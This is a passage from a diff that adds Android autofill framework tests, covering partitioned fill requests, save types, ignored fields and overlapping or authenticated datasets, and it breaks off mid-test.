+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        assertThat(fillRequest1.data).isNull();
+        sUiBot.assertDatasets("l1c1");
+
+        // Prepare 2nd partition; it replaces 'number' and adds 'numbers2'
+        extras.clear();
+        extras.putString("numbers", "48");
+        extras.putString("numbers2", "1516");
+
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger auto-fill on 2nd partition
+        mActivity.focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+        assertWithMessage("null bundle on request 2").that(fillRequest2.data).isNotNull();
+        assertWithMessage("wrong number of extras on request 2 bundle")
+                .that(fillRequest2.data.size()).isEqualTo(1);
+        assertThat(fillRequest2.data.getString("numbers")).isEqualTo("4");
+
+        // Prepare 3nd partition; it has no extras
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setExtras(null)
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger auto-fill on 3rd partition
+        mActivity.focusCell(3, 1);
+        final FillRequest fillRequest3 = sReplier.getNextFillRequest();
+        assertThat(fillRequest3.flags).isEqualTo(0);
+        assertWithMessage("null bundle on request 3").that(fillRequest2.data).isNotNull();
+        assertWithMessage("wrong number of extras on request 3 bundle")
+                .that(fillRequest3.data.size()).isEqualTo(2);
+        assertThat(fillRequest3.data.getString("numbers")).isEqualTo("48");
+        assertThat(fillRequest3.data.getString("numbers2")).isEqualTo("1516");
+
+
+        // Prepare 4th partition; it contains just 'numbers4'
+        extras.clear();
+        extras.putString("numbers4", "2342");
+
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
+                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .setExtras(extras)
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger auto-fill on 4th partition
+        mActivity.focusCell(4, 1);
+        final FillRequest fillRequest4 = sReplier.getNextFillRequest();
+        assertThat(fillRequest4.flags).isEqualTo(0);
+        assertWithMessage("non-null bundle on request 4").that(fillRequest4.data).isNull();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.save();
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        assertWithMessage("wrong number of extras on save request bundle")
+                .that(saveRequest.data.size()).isEqualTo(1);
+        assertThat(saveRequest.data.getString("numbers4")).isEqualTo("2342");
+    }
+
+    @Test
+    public void testSaveOneSaveInfoOnFirstPartitionWithIdsOnSecond() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.save();
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+    }
+
+    @Test
+    public void testSaveOneSaveInfoOnSecondPartitionWithIdsOnFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response2);
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.save();
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+    }
+
+    @Test
+    public void testSaveTwoSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.save();
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+    }
+
+    @Test
+    public void testSaveThreeSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        mActivity.focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.save();
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_CREDIT_CARD,
+                SAVE_DATA_TYPE_USERNAME);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+    }
+
+    @Test
+    public void testSaveThreeSaveInfosDifferentTypesIncludingGeneric() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC, ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(
+                        SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_GENERIC | SAVE_DATA_TYPE_USERNAME,
+                        ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        mActivity.focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.save();
+
+        // Make sure GENERIC type is not shown on snackbar
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD, SAVE_DATA_TYPE_USERNAME);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+    }
+
+    @Test
+    public void testSaveMoreThanThreeSaveInfosDifferentTypes() throws Exception {
+        // Set service.
+        enableService();
+
+        // Trigger 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_L1C1)
+                .build();
+        sReplier.addResponse(response1);
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 2nd partition.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_L2C1)
+                .build();
+        sReplier.addResponse(response2);
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 3rd partition.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1", createPresentation("l3c1"))
+                        .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME, ID_L3C1)
+                .build();
+        sReplier.addResponse(response3);
+        mActivity.focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Trigger 4th partition.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L4C1, "l4c1", createPresentation("l4c1"))
+                        .setField(ID_L4C2, "l4c2", createPresentation("l4c2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD | SAVE_DATA_TYPE_CREDIT_CARD
+                        | SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_ADDRESS, ID_L4C1)
+                .build();
+        sReplier.addResponse(response4);
+        mActivity.focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+
+        // Trigger save
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(2, 1, "L2C1");
+        mActivity.setText(3, 1, "L3C1");
+        mActivity.setText(4, 1, "L4C1");
+        mActivity.save();
+
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertValue(saveRequest.structure, ID_L1C1, "L1C1");
+        assertValue(saveRequest.structure, ID_L2C1, "L2C1");
+        assertValue(saveRequest.structure, ID_L3C1, "L3C1");
+        assertValue(saveRequest.structure, ID_L4C1, "L4C1");
+    }
+
+    @Test
+    public void testIgnoredFieldsDontTriggerAutofill() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .setIgnoreFields(ID_L2C1, ID_L2C2)
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        mActivity.focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
+
+        // Make sure UI is shown on 1st partition
+        sUiBot.assertDatasets("l1c1");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("l1c2");
+
+        // Make sure UI is not shown on ignored partition
+        mActivity.focusCell(2, 1);
+        sUiBot.assertNoDatasets();
+        mActivity.focusCell(2, 2);
+        sUiBot.assertNoDatasets();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they don't overlap, i.e.,
+     * each {@link FillResponse} only contain fields within the partition.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsNoOverlap() throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D2"))
+                        .setField(ID_L1C1, "L1C1")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, "L3C1")
+                        .setField(ID_L3C2, "L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "L3C1")
+                .onCell(3, 2, "L3C2");
+
+        // Trigger partition.
+        mActivity.focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, "l4c1")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, "L4C1")
+                        .setField(ID_L4C2, "L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1");
+
+        // Trigger partition.
+        mActivity.focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P1D1", "P1D2");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P1D1");
+
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P2D1", "P2D2");
+
+        mActivity.focusCell(4, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(4, 2);
+        sUiBot.assertDatasets("P4D2");
+
+        mActivity.focusCell(3, 2);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        mActivity.focusCell(4, 1);
+        sUiBot.selectDataset("P4D1");
+        expectation4.assertAutoFilled();
+
+        mActivity.focusCell(1, 1);
+        sUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        mActivity.focusCell(3, 1);
+        sUiBot.selectDataset("P3D2");
+        expectation3.assertAutoFilled();
+
+        mActivity.focusCell(2, 2);
+        sUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
+     * some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the first.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsOverlappingPicksFirst() throws Exception {
+        autofillMultipleDatasetsOverlapping(true);
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset, but they overlap, i.e.,
+     * some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the second.
+     */
+    @Test
+    public void testAutofillMultipleDatasetsOverlappingPicksSecond() throws Exception {
+        autofillMultipleDatasetsOverlapping(false);
+    }
+
+    private void autofillMultipleDatasetsOverlapping(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D1"))
+                        .setField(ID_L1C1, "1l1c1")
+                        .setField(ID_L1C2, "1l1c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P1D2"))
+                        .setField(ID_L1C1, "1L1C1")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger partition.
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P1D1", "P1D2");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P1D1");
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L1C1, "2l1c1") // from previous partition
+                        .setField(ID_L2C1, "2l2c1")
+                        .setField(ID_L2C2, "2l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "2L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger partition.
+        mActivity.focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P2D1"); // changed
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P1D1");
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P2D1", "P2D2");
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L1C2, "3l1c2")
+                        .setField(ID_L3C1, "3l3c1")
+                        .setField(ID_L3C2, "3l3c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L2C2, "3l2c2")
+                        .setField(ID_L3C1, "3L3C1")
+                        .setField(ID_L3C2, "3L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger partition.
+        mActivity.focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P3D1"); // changed
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P2D1");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P3D2"); // changed
+        mActivity.focusCell(3, 2);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("P3D1", "P3D2");
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L1C1, "4l1c1")
+                        .setField(ID_L1C2, "4l1c2")
+                        .setField(ID_L2C1, "4l2c1")
+                        .setField(ID_L2C2, "4l2c2")
+                        .setField(ID_L3C1, "4l3c1")
+                        .setField(ID_L3C2, "4l3c2")
+                        .setField(ID_L4C1, "4l4c1")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L1C1, "4L1C1")
+                        .setField(ID_L1C2, "4L1C2")
+                        .setField(ID_L2C1, "4L2C1")
+                        .setField(ID_L2C2, "4L2C2")
+                        .setField(ID_L3C1, "4L3C1")
+                        .setField(ID_L3C2, "4L3C2")
+                        .setField(ID_L1C1, "4L1C1")
+                        .setField(ID_L4C1, "4L4C1")
+                        .setField(ID_L4C2, "4L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger partition.
+        mActivity.focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mActivity.focusCell(1, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(2, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(2, 2);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(3, 2);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(3, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(4, 1);
+        sUiBot.assertDatasets("P4D1", "P4D2");
+        mActivity.focusCell(4, 2);
+        sUiBot.assertDatasets("P4D2");
+
+        /*
+         * Finally, autofill and check results.
+         */
+        final FillExpectation expectation = mActivity.expectAutofill();
+        final String chosenOne;
+        if (pickFirst) {
+            expectation
+                .onCell(1, 1, "4l1c1")
+                .onCell(1, 2, "4l1c2")
+                .onCell(2, 1, "4l2c1")
+                .onCell(2, 2, "4l2c2")
+                .onCell(3, 1, "4l3c1")
+                .onCell(3, 2, "4l3c2")
+                .onCell(4, 1, "4l4c1");
+            chosenOne = "P4D1";
+        } else {
+            expectation
+                .onCell(1, 1, "4L1C1")
+                .onCell(1, 2, "4L1C2")
+                .onCell(2, 1, "4L2C1")
+                .onCell(2, 2, "4L2C2")
+                .onCell(3, 1, "4L3C1")
+                .onCell(3, 2, "4L3C2")
+                .onCell(4, 1, "4L4C1")
+                .onCell(4, 2, "4L4C2");
+            chosenOne = "P4D2";
+        }
+
+        mActivity.focusCell(4, 1);
+        sUiBot.selectDataset(chosenOne);
+        expectation.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillMultipleAuthDatasetsInSequence() throws Exception {
+        // Set service.
+        enableService();
+
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth11 = AuthenticationActivity.createSender(getContext(), 11,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .setPresentation(bogusPresentation)
+                        .build());
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth11)
+                        .setField(ID_L1C1, bogusValue)
+                        .setField(ID_L1C2, bogusValue)
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, bogusValue)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        mActivity.focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Focus around different fields in the partition.
+        sUiBot.assertDatasets("P1D1", "P1D2");
+        mActivity.focusCell(1, 2);
+        sUiBot.assertDatasets("P1D1");
+
+        // Autofill it...
+        sUiBot.selectDataset("P1D1");
+        // ... and assert result
+        expectation1.assertAutoFilled();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 21);
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
